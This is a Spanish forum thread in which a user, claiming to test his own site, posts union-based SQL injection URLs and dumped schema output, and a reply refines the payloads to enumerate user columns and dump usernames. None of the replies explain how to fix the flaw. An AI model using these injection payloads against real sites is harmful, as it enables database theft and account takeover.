elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Vulnerabilidad URL SQL Injection
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Vulnerabilidad URL SQL Injection  (Leído 7,328 veces)
WiseHidden

Desconectado Desconectado

Mensajes: 225


La curiosidad es la semilla de la genialidad.


Ver Perfil WWW
Vulnerabilidad URL SQL Injection
« en: 26 Septiembre 2012, 00:15 am »

Muy buenas a todos.

Hace poco termine mi página web, y por seguridad escaneé para ver si encontraba alguna vulnerabilidad para poder protegerla mejor.

Al escanearla con el Famoso WebCruiser encontré una vulnerabilidad. (URL SQL INJECTION)

Preocupado por dicha vulnerabilidad empecé a investigar como solventar el susodicho fallo. Y me atreví a ponerla a prueba le inyecté un código para sacar el nombre de las tablas, una vez encontrada dichas tablas busqué lo que debia ser el adminitrador (Q porsupuesto sabia el nombre de tal) y de paso me di cuenta lo visible que era :) jaja cuestion, despues de obtener el nombre de administrador lo converti a ASCCI y lo inserté en la inyección del código, y he aquí la duda.

Despues de insertar todo el código, he aquí el mismo:

Citar
http://www.xxxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char (28117,110,100,101,102,105,110,101,100)

me aparece solamente un 3.

Quizás pudiera guiarme o esclarecerme un poco mi duda, pues ya que conozco dicha vulnerabilidad me gustaría poder solventarla.

Muchisimas gracias de antemano
Atentamente
WiseHidden
En línea

Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)
WiseHidden

Desconectado Desconectado

Mensajes: 225


La curiosidad es la semilla de la genialidad.


Ver Perfil WWW
Re: Vulnerabilidad URL SQL Injection
« Respuesta #1 en: 27 Septiembre 2012, 13:27 pm »

71 visitas y nadie a podido aportar algo  :silbar:

Valla si que ha cambiado este foro, donde antes todo el mundo ayudaba cordialmente en las dudas de otros, yo mismo he participado en muchos temas orientando y aportando lo poquito que supiese.

Pero los ultimos 3 post q he escrito no he obtenido ni una respuesta....

Buenoooo pues nada a seguir probando e investigando por mi cuenta.

Un saludo a todos

Atentamente
WiseHidden
En línea

Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)
Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.724


<3


Ver Perfil WWW
Re: Vulnerabilidad URL SQL Injection
« Respuesta #2 en: 27 Septiembre 2012, 21:16 pm »

jajaja lo único que se me ocurre es que podrías cambiar el,
Código
  1. ...SELECT+1,GROUP_CONCAT(COLUMN_NAME),3,4,...
por
Código
  1. ...SELECT+1,2,GROUP_CONCAT(COLUMN_NAME),4,...
ya que supongo que el "3" es del select :p
En línea

Te vendería mi talento por poder dormir tranquilo.
apuromafo CLS


Desconectado Desconectado

Mensajes: 1.441



Ver Perfil WWW
Re: Vulnerabilidad URL SQL Injection
« Respuesta #3 en: 27 Septiembre 2012, 22:03 pm »

http://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.html
En línea

Apuromafo
WiseHidden

Desconectado Desconectado

Mensajes: 225


La curiosidad es la semilla de la genialidad.


Ver Perfil WWW
Re: Vulnerabilidad URL SQL Injection
« Respuesta #4 en: 28 Septiembre 2012, 13:52 pm »

Resultados de la Tabla 2:

Citar
CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_
SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,INNODB_BUFFER_POOL_CONTENT,
INDEX_STATISTICS,KEY_COLUMN_USAGE,PROCESSLIST,PROFILING,ROUTINES,
SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,
TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES,USER_STATISTICS
,VIEWS,INNODB_IO_PATTERN,INNODB_RSEG,ProcessSettings,about,admincms,application
,banner,banner2,brochure,careerHP,careers,categories,committees,contact,events,
expert,expert_content,hp_feature,ifra,join_rifm,kfm_directories,
kfm_files,kfm_files_images,kfm_files_images_thumbs,kfm_parameters,kfm_session,
kfm_session_vars,kfm_tagged_files,
kfm_tags,links,member_directory,member_list,members,members_hp,news,photos,
photos_cat,posters,press,presskit,pub_brochures,pub_feature,pub_reports,
publications,publications_cat,publications_hp,reach,reach_cat,rexpan,
science,scienceContent,sciencecat,scienceinfo,video,vision
3

Resultado Tabla 3
Citar
2
CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_
SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,INNODB_BUFFER_POOL_CONTENT,
INDEX_STATISTICS,KEY_COLUMN_USAGE,PROCESSLIST,PROFILING,ROUTINES,
SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,
TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES,USER_STATISTICS
,VIEWS,INNODB_IO_PATTERN,INNODB_RSEG,ProcessSettings,about,admincms,application
,banner,banner2,brochure,careerHP,careers,categories,committees,contact,events,
expert,expert_content,hp_feature,ifra,join_rifm,kfm_directories,
kfm_files,kfm_files_images,kfm_files_images_thumbs,kfm_parameters,kfm_session,
kfm_session_vars,kfm_tagged_files,
kfm_tags,links,member_directory,member_list,members,members_hp,news,photos,
photos_cat,posters,press,presskit,pub_brochures,pub_feature,pub_reports,
publications,publications_cat,publications_hp,reach,reach_cat,rexpan,
science,scienceContent,sciencecat,scienceinfo,video,vision

Y en las dos realizo el mismo código y en la 2 me aparace un (3) y en la 3 me aparace un (2)

Pude ser que no haya descifrado el administrador bien?

* Es muy cantoso ver el administrador, para ponerlo a prueba intenten saber cual es.

- Se que estoy al último paso de hacerlo, pero me quedado estancado.

Os pondré paso a paso mi ataque para ver si he cometido algún error en el proceso.

Paso 1:
Me dirigo al navegador (En este caso Firefox) - Espero que esto no influya en el ataque.

Paso 2:
Escribo la url de mi web y le inyecto un código para averiguar las tablas.
www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,-- (Voy agregando números de menor a mayor consecutivamente hasta que me sale la página de tablas) en este caso llegé hasta el 12.
 
Citar
Y en la pantalla me muestra un 2 (Marcado en azul) y un 3 separado por un ("Intro")

Paso 3:
Con esta información pruebo a inyectarle de nuevo otro código agregandole lo siguiente:
Citar
www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.tables

Dandome la pantalla como resultado el siguiente contenido:
Citar
CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,INNODB_BUFFER_POOL_CONTENT,INDEX_STATISTICS,KEY_COLUMN_USAGE,PROCESSLIST,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES,USER_STATISTICS,VIEWS,INNODB_IO_PATTERN,INNODB_RSEG,ProcessSettings,about,admincms,application,banner,banner2,brochure,careerHP,careers,categories,committees,contact,events,expert,expert_content,hp_feature,ifra,join_rifm,kfm_directories,kfm_files,kfm_files_images,kfm_files_images_thumbs,kfm_parameters,kfm_session,kfm_session_vars,kfm_tagged_files,kfm_tags,links,member_directory,member_list,members,members_hp,news,photos,photos_cat,posters,press,presskit,pub_brochures,pub_feature,pub_reports,publications,publications_cat,publications_hp,reach,reach_cat,rexpan,science,scienceContent,sciencecat,scienceinfo,video,vision
3

Paso 4:
Busco el nombre de adminitrador, y en caso de no saberlo busco algo referente a admi, admin, ect.... Para saber a cuál corresponde o tener una cierta referencia.

Paso 5:
Una vez tengamos el nombre me dirigo a una web donde te permita convertir cualquier palabra a ASCCI (Puede que aqui resida el fallo pues no se si se debe pasar exactamente a ASCII o a Hexadecimal) Yo me arriesgé con ASCII que es la que creo que sería. Dandome el siguiente resultado:
Citar
117 110 100 101 102 105 110 101 100

Paso 6:
Le quito todos los espacios al resultado ASCII y lo sustituyo por una coma. Quedando tal así:
Citar
117,110,100,101,102,105,110,101,100

Paso 7:
Teniendo estos resultados vuelvo a inyectar otro código más sustituyendo en el group_concat(table_name) por group_concat(column_name) y sustituyendo _schema.table por _schema.columns agregando ademas el siguiente código:
Citar
www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+
where+table_name=char (117,110,100,101,102,105,110,101,100)

Y aquí cuando imagino que te debería dar los resultados que buscamos (Es decir los privilegios de nombre de administrador y su contraseña)

Viendo que no era así probé a realizar el mismo proceso sustituyendo la tabla 2 por la 3

Y obtengo el mismo resultado.
Asi que estaré haciendo algún paso mal. Por eso he puesto paso por paso una pequeña guía de mi proceso. Haber si alguien pudiera ver mi tropiezo.

Gracias por vuestra ayuda y orientación.

Un cordial saludo
Atentamente
WiseHidden


« Última modificación: 28 Septiembre 2012, 14:50 pm por WiseHidden » En línea

Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)
RevangelyonX

Desconectado Desconectado

Mensajes: 245


Ver Perfil WWW
Re: Vulnerabilidad URL SQL Injection
« Respuesta #5 en: 28 Septiembre 2012, 15:28 pm »

Buenas,

Lo que estás haciendo es:

where table_name = undefined (esa es la traducción ascii de los números que has puesto...)

Lo que creo es que no acabas de saber es como hacer la inyección en realidad.

column_name contiene nombres de campos, no sus registros en sí.

Por lo tanto si lo que quieres es buscar algo parecido a "admin" deberás primero buscar un campo que sea parecido a "user". Lo puedes realizar en hexadecimal, mucho más rapido.

group_concat(information_schema.columns.column_name) where information_schema.columns.column_name like %user%

Si tubieras que cambiar %user% por hexadecimal, utiliza concat().

Por ejemplo:

XXX like concat(0x25,0x75736572 ,0x25) //es hexadecimal, y equivale a %user%


Esto te debería de devolver todos los campos que contengan "user" como nombre de campo, a partir de aquí ya podrás buscar a que tabla pertenece ese campo y así indagar mejor.

Te adjunto un enlace de un documento que hice referente a SQL Injection bajo MySQL (de unas 50 páginas).

www.forohack.com/index2.php?Ver=Mensaje&Id=30977&WebOrigen=1

Salu2
En línea

Just Linux
OSCP certified
WiseHidden

Desconectado Desconectado

Mensajes: 225


La curiosidad es la semilla de la genialidad.


Ver Perfil WWW
Re: Vulnerabilidad URL SQL Injection
« Respuesta #6 en: 28 Septiembre 2012, 18:03 pm »

Citar
Lo que creo es que no acabas de saber es como hacer la inyección en realidad.
Exacto. De hecho es la primera vez que lo intento. Otras veces me he tenido curiosidad y tal pero en cuanto trompezaba una y otra vez como ahora llegaba un momento en que desistía y abandonaba.
Pero ahora que está en riesgo mi trabajo y mi web (Pues llevo trabajando en ella cerca de un año para dejarla bien terminanda y cada cosa que iba aprendiendo se la iba añadiendo) pues creo que es la oportunidad y el momento de aprender en lleno.

Citar
Por lo tanto si lo que quieres es buscar algo parecido a "admin" deberás primero buscar un campo que sea parecido a "user". Lo puedes realizar en hexadecimal, mucho más rapido.

group_concat(information_schema.columns.column_name) where information_schema.columns.column_name like %user%

Si tubieras que cambiar %user% por hexadecimal, utiliza concat().

Por ejemplo:

XXX like concat(0x25,0x75736572 ,0x25) //es hexadecimal, y equivale a %user%

Disculpa mi ignorancia, nosé si se debe al cansancio de llevar muchas horas currando o tal, o es que soy un poco torpe, pero podrias explicarmelo mas detalladamente? Partiendo por ejemplo de mi "url" mal habladamente como dices en tu tutorial para saber donde colocar exactamente el código y entenderlo mucho mejor.

Porcierto felicitaciones y mil gracias por la guía: Entendamos y Practiquemos
MySQL Injection

Le he hechado un ojo rapidísimo y tiene una pinta........ Vamos pienso leermelo y aprender todo cuanto pueda, se nota el trabajo que te ha tenido que llevar. :)

Muchas gracias por todo y alos demás tambien.

Un saludo
WiseHidden
En línea

Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)
RevangelyonX

Desconectado Desconectado

Mensajes: 245


Ver Perfil WWW
Re: Vulnerabilidad URL SQL Injection
« Respuesta #7 en: 28 Septiembre 2012, 18:54 pm »

Hola
En primer lugar disculpa porque releyendo me he dado cuenta que me he dejado el FROM xD

Tu URL debería de queda así
 www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(information_schema.columns.column_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+information_schema.columns.column_name like concat(0x25,0x75736572 ,0x25)

He modificado tu inyección con lo que te explicaba arriba.

Esto lo que debería de mostrar es todos los campos que contengan la palabra "user" (como nombre de campo)
Pero nada mas. Necesitamos saber en que tabla está cada campo (cada columna). Podemos utilizar el registro 3 para que nos lo muestre (todo esto está explicado en el tutorial)

Así pues modificamos la inyección


 www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(information_schema.columns.column_name),group_concat(information_schema.columns.table_name),4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+information_schema.columns.column_name like concat(0x25,0x75736572 ,0x25)

Esto nos va a mostrar por un lado los campos (por ejemplo username) y sus tablas (por ejemplo usuarios)

Ahora ya podemos hacer la inyección que nos mostrará todos los usuarios (suponiendo que es el mismo schema)


 www.xxxxxxx.com/publications-details.php?id=-1+union+select+1,group_concat(usuarios.username),3,4,5,6,7,8,9,10,11,12+from usuarios

Esto te mostrará todos los usuarios..

Te aconsejo leer el tutorial y luego revisar eo. Si algo no te queda claro comentalo.



En línea

Just Linux
OSCP certified
WiseHidden

Desconectado Desconectado

Mensajes: 225


La curiosidad es la semilla de la genialidad.


Ver Perfil WWW
Re: Vulnerabilidad URL SQL Injection
« Respuesta #8 en: 28 Septiembre 2012, 21:00 pm »

Así lo haré leer la guía y luego repasaré esto, y si tengo alguna duda lo comentaré.

Muchas Gracias RevangelyonX Grandísimo aporte para todo el que este interesadoo :)


Ahora toca leer y aprender

Un saludoo a todos :)

Atentamente
WiseHidden
En línea

Si tu tienes una manzana y yo otra y decidimos intercambiarlas, seguiremos teniendo una manzana cada uno, pero si tu tienes una idea y yo otra y la intercambiamos, ambos tendremos dos ideas. (Origen Anónimo)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Sql injection
Nivel Web
TheAnswer 1 3,762 Último mensaje 11 Octubre 2004, 08:07 am
por Jec
Vulnerabilidad Tuenti (SQL Injection)
Nivel Web
Constantinoplero 1 3,641 Último mensaje 1 Diciembre 2009, 19:52 pm
por xassiz_
CAST EXEC en sql injection(Automated Sql Injection)
Nivel Web
EvilGoblin 2 5,188 Último mensaje 11 Julio 2010, 22:25 pm
por EvilGoblin
Consulta sobre vulnerabilidad para SQL Injection « 1 2 »
Nivel Web
druppy 11 11,657 Último mensaje 4 Abril 2013, 00:31 am
por csaralg
Sql injection, ¿hay vulnerabilidad o no?
Hacking
in2c0de 4 3,019 Último mensaje 27 Febrero 2016, 03:20 am
por WHK
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines